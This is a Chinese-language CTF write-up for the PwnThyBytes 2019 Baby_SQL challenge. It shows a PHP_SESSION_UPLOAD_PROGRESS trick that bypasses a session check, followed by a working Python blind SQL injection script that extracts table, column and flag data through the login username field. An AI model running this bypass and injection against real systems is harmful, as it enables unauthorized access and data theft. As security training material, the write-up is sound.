[PwnThyBytes 2019]Baby_SQL
- 查看源码发现
- 下载源码,首先观察index.php
- 首先进入index.php,会执行session_start();启动session
- 这里通过foreach将所有的环境变量的值都遍历了一遍,并且都使用了addslashes()进行转义,然后就定义了从这里进入其他页面的路由方法
- 这里用了很多个or和and,其实很好理解,就是利用了短路。or前面为真就不执行后面的内容,and前面为假就不执行后面的内容
然后我们来看其他的文件
login.php
register.php
可以发现,register.php对注册的用户名限制的很死,而这两文件的密码最后都进行了md5加密,不能进行注入。这么一看就只有login.php的username这里有注入点
但是所有文件前面都有
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
//如果没有$_SESSION,就直接终止程序。然而只有经过index.php才启动session。
- 所以这里需要使用PHP_SESSION_UPLOAD_PROGRESS
PHP_SESSION_UPLOAD_PROGRESS
[[PHP_SESSION_UPLOAD_PROGRESS]]
在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()
那思路就是执行session_start()绕过index.php的过滤
使用脚本
import requests
url = "http://f92ec141-fa4c-408a-9d57-921b5d55ffb6.node5.buuoj.cn:81/templates/register.php"
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
proxies={'http': "http://127.0.0.1:8080"})
print(a.text)
- 当我们直接访问的时候
- 使用后发现成功绕过
- 剩下的就简单了,他没有任何过滤,直接时间盲注
时间盲注
[[mysql-时间盲注]]
payload
import requests
import time
url = "http://1e66322d-2364-4dd4-800e-d1167d27e70d.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
# a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
# cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
# proxies={'http': "http://127.0.0.1:8080"})
# import requests
# url = "http://172.19.14.20:27386/index.php?id="
name = ''
for i in range(1, 1000):
min = 32
max = 128
while min < max:
mid = (min + max) // 2
# payload = f'1"||1^(ascii(substr(database(),{i},1))>{mid})#' # 查库名
# payload=f'1"||1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ptbctf"),{i},1))>{mid})#' #查表名
# payload=f'1"||1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)="flag_tbl"),{i},1))>{mid})#' #查列名
payload=f'1"||1^(ascii(substr((select(group_concat(secret))from(flag_tbl)),{i},1))>{mid})#' #查数据
# payload=f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})#' #查所有数据库
# payload = f"1^(ascii(substr(user(),{i},1))>{mid})#" #查用户权限
time.sleep(0.1) # 加上时间延迟,防止请求太快注入出现错误
params={'username': payload, 'password': 'test'}
response = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params=params,
)
# response = requests.get(url=url + payload)
if 'Try again!' in response.text:
min = mid + 1
else:
max = mid
if min != 32:
name += chr(min)
else:
break
print(name)
# print(a.text)
参考链接
巡璃 :刷题笔记:[PwnThyBytes 2019]Baby_SQL